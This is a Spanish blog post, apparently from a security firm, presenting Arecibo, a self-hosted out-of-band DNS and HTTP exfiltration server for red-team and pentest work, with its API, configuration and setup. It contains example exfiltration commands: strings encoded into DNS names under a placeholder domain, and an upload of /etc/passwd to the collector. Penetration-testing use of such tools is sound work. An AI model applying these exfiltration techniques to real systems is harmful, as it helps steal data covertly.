Arecibo: Una herramienta de exfiltración OOB (DNS & HTTP)
En el proceso de identificación y explotación de vulnerabilidades en ocasiones es necesario recurrir a técnicas Out of Band (OOB) de exfiltración, transfiriendo información a través de resoluciones DNS o peticiones HTTP. Para estos casos lo más rápido y simple es recurrir a una instancia del Burp Collaborator o de servicios como requestbin.net, pero estos están alojados en servidores de terceros por lo que puede suponer en algunos casos un problema.
Si bien es cierto que ambas utilidades permiten montar instancias locales, éstas suelen ser pesadas y extremadamente poco configurables o adaptables. Para suplir esta necesidad durante una operación del RedTeam se desarrolló una pequeña herramienta (Arecibo) con una API sencilla de utilizar.
0x01 – Introducción
Arecibo es una pequeña herramienta escrita en python con las siguientes capacidades para exfiltración:
- Detección de peticiones HTTP entrantes (al estilo Requestbin)
- Configuración del HTML, cabeceras del servidor y código de estado que será devuelto ante una petición HTTP entrante
- Subida de ficheros y descarga
- Detección de resolución de subdominios
- Resolución dinámica de IPs (127.0.0.1.ip.XXXX resolves to 127.0.0.1, 10.1.1.10.ip.XXXX resolves to 10.1.1.10, etc.)
Internamente está compuesto por dos partes, por un lado un script en python que interactúa con PowerDNS a través de un «backend pipe» y por otro lado el script que actúa de API (Flask + SQlite3), permitiendo añadir nuevas funcionalidades fácilmente.
0x02 – Interacciones DNS
Para proceder a la exfiltración de datos a través de DNS durante la explotación de una vulnerabilidad en primera instancia se debe de generar un token identificativo a través de la API:
curl localhost:5000/generatedns {"htoken": "3144bd59af63b2ff98b303f3c0eb8f62"}
Utilizando este token se procede a construir un dominio tal que ABCDEF.3144bd59af63b2ff98b303f3c0eb8f62.x.DOMAIN.ORG, siendo «ABCDEF» cualquier cadena que se desee exfiltrar a Arecibo. Una vez que este dominio sea resuelto, podremos ver la cadena registrada:
curl localhost:5000/hitsdns/3144bd59af63b2ff98b303f3c0eb8f62 {"hits": [["3144bd59af63b2ff98b303f3c0eb8f62", 1541002657.242613, "ABCDEF"]]}
A través del endpoint «hitsdns» obtenemos todas resoluciones asociadas al token que habíamos generado previamente, incluyendo la información exfiltrada y el timestamp de cuando se envió.
Por otra parte, para la resolución dinámica de IPs tan sólo se necesita utilizar el prefijo X.X.X.X.ip.dominio.org:
PS> nslookup 192.10.10.1.ip.domain.org Servidor: X Address: X Respuesta no autoritativa: Nombre: 192.10.10.1.ip.domain.org Address: 192.10.10.1
0x03 – Interacciones HTTP
Si lo que se desea es simplemente recoger el contenido (GET, POST) y las cabeceras enviadas, se puede generar un token de manera análoga a como se hacía con los DNS:
curl localhost:5000/generatehttp {"htoken": "69afaccfe767fc9c37e00dcea8a5b236"}
Las peticiones HTTP para la exfiltración deberán de realizarse contra el endpoint /h/TOKEN:
curl https://localhost:5000/h/2aa88ba02cbc0d6b72213fc117ae03dc It works!
Para recuperar la info:
curl https://localhost:5000/hitshttp/2aa88ba02cbc0d6b72213fc117ae03dc {"hits": [{"get": {}, "timestamp": 1541592259.541545, "headers": {"X-Real-Ip": "X", "Connection": "close", "Host": "X", "Accept": "*/*", "User-Agent": "curl/7.55.1"}, "htoken": "2aa88ba02cbc0d6b72213fc117ae03dc", "post": {}, "ip_address": "X"}]}
Si se desea que el servidor ante la petición HTTP responda con un contenido arbitrario, unas cabeceras concretas o un código de estado determinado se debe de configurar con una petición POST al endpoint /generatehttp:
curl https://localhost:5000/generatehttp -H "Content-Type: application/json" --data '{"body":"SGVsbG8gd29ybGQhIAo=", "headers":{"Server":"PWNED", "X-Dummy-Header": "ka0labs"}, "status" : 504}' {"htoken": "5b296af97512af80615932e2f56360fe"}
De esta forma estamos indicando el contenido (encodeado en base64, al mostrarse se desencodea), el header Server será «PWNED» y añadirá un header adicional «X-Dummy-Header», y el código de estado un 504:
curl https://localhost:5000/h/5b296af97512af80615932e2f56360fe -v * Trying x... * TCP_NODELAY set * Connected to x (x) port 80 (#0) > GET /h/5b296af97512af80615932e2f56360fe HTTP/1.1 > Host: x > User-Agent: curl/7.55.1 > Accept: */* > < HTTP/1.1 504 GATEWAY TIMEOUT < Content-Type: text/html; charset=utf-8 < Content-Length: 14 < Connection: keep-alive < X-Dummy-Header: ka0labs < Server: PWNED < Date: Wed, 07 Nov 2018 12:18:33 GMT < Hello world! * Connection #0 to host x left intact
0x04 – Transferencia de ficheros
La subida de ficheros es trivial:
curl localhost:5000/upload -F 'x-file=@/etc/passwd' {"htoken": "36981274bdb9cc833472681caeb82337"}
Suministrando el token procedemos a la descarga del fichero subido:
curl localhost:5000/download/36981274bdb9cc833472681caeb82337 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
0x05 – Instalación y configuración de Arecibo para la exfiltración
Tal y como se mencionó al inicio, es necesario tener instalado pdns (paquetes pdns y pdns-backend-pipe) y los módulos flask y flask_restful para python. Igualmente lo ideal es desplegar la API en la interfaz local y utilizar un NGINX como proxy inverso para manejar la autenticación y la seguridad. Una vez satisfechos estos requisitos, el proceso sería:
1. Modificar la configuración de arecibo-dns-backend.py
2. Asignar permisos de ejecución a arecibo-dns-backend.py (chmod +x)
3. Editar el archivo pdns.conf (su ubicación puede variar entre distribuciones):
setuid=1001 setgid=1001 launch=pipe pipe-command=/your/path/arecibo-dns-backend.py
(cambiando los setuid/setgid por el usuario que se vaya a utilizar para ejecutar el servicio, que será el mismo usado para la API)
4. Ejecutar arecibo-api.py y pdns_server (la ubicación puede cambiar según distribución)
Nota: el servidor debe de estar configurado como Authoritative DNS
0x06 – Conclusiones
Arecibo es una herramienta liviana que aglutina las funcionalidades de requestbin, file.io, xip.io, etc. en un sólo punto, permitiendo su fácil despliegue. Cuenta con las ventajas de poder operar fácilmente a través de su API, por lo que es una muy buena alternativa para utilizar en los test de intrusión o en una auditoría de seguridad web.
Puedes descargar Arecibo desde nuestro GitHub.
Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/
En TarlogicTeo y en TarlogicMadrid.